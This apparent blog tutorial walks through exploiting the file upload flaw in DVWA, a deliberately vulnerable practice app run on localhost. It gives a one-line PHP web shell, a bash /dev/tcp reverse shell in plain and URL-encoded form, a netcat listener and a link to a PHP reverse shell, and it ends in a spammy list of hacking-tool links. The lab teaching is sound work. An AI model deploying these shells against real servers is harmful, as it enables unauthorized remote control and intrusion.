... Here's what we've found Interesting ...

Wednesday, May 31, 2023

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt 
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt 
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php phpinfo(); ?> 
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php 
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php system($_GET["cmd"]); ?> 
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami 
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0 
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1' 
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
Now start a listener on host with this command:
nc -lvnp 9999 
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999 
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Related articles
  1. Hack Apps
  2. Pentest Tools Github
  3. Pentest Tools For Ubuntu
  4. Hacker Tools Apk
  5. Best Hacking Tools 2019
  6. Pentest Tools List
  7. Hacker Techniques Tools And Incident Handling
  8. Hacker Tools Apk Download
  9. Computer Hacker
  10. Hacker Tools Apk Download
  11. Pentest Tools
  12. Hack Tool Apk No Root
  13. Pentest Tools Nmap
  14. Top Pentest Tools
  15. Pentest Tools For Mac
  16. Pentest Tools Online
  17. Hacker Tools Github
  18. Pentest Tools Website
  19. Hack Tool Apk No Root
  20. Hacker Tools Linux
  21. New Hacker Tools
  22. Best Pentesting Tools 2018
  23. Hacker Tools Github
  24. Hak5 Tools
  25. Hacker Tools For Mac
  26. Hack Website Online Tool
  27. Install Pentest Tools Ubuntu
  28. Best Hacking Tools 2019
  29. Hack Tools Online
  30. Pentest Tools Open Source
  31. Hack Tools For Ubuntu
  32. Hack Tools Mac
  33. What Is Hacking Tools
  34. Pentest Tools Windows
  35. How To Install Pentest Tools In Ubuntu
  36. Beginner Hacker Tools
  37. Hack Tools Online
  38. Ethical Hacker Tools
  39. Pentest Tools Linux
  40. Pentest Tools Bluekeep
  41. Hacker Search Tools
  42. How To Install Pentest Tools In Ubuntu
  43. Easy Hack Tools
  44. Hackrf Tools
  45. New Hack Tools
  46. Hacker Tools 2020
  47. Free Pentest Tools For Windows
  48. Pentest Tools Download
  49. New Hack Tools
  50. Hacking Tools
  51. Hacking Tools Software
  52. Hack Tools For Mac
  53. Pentest Tools Website
  54. Pentest Tools Github
  55. Hack And Tools
  56. Best Pentesting Tools 2018
  57. Hacking Tools Download
  58. Blackhat Hacker Tools
  59. Hacking App
  60. Pentest Tools Alternative
  61. Hacking Tools For Kali Linux
  62. Pentest Tools Windows
  63. Tools Used For Hacking
  64. Hack Tools For Ubuntu
  65. Pentest Tools For Android
  66. Hacker Tools Windows
  67. Pentest Tools Tcp Port Scanner
  68. Pentest Reporting Tools
  69. Hacker
  70. Wifi Hacker Tools For Windows
  71. Hack Tools
  72. Hack Tools Pc
  73. Hack Tools For Pc
  74. Best Hacking Tools 2020
  75. Hacking Tools Software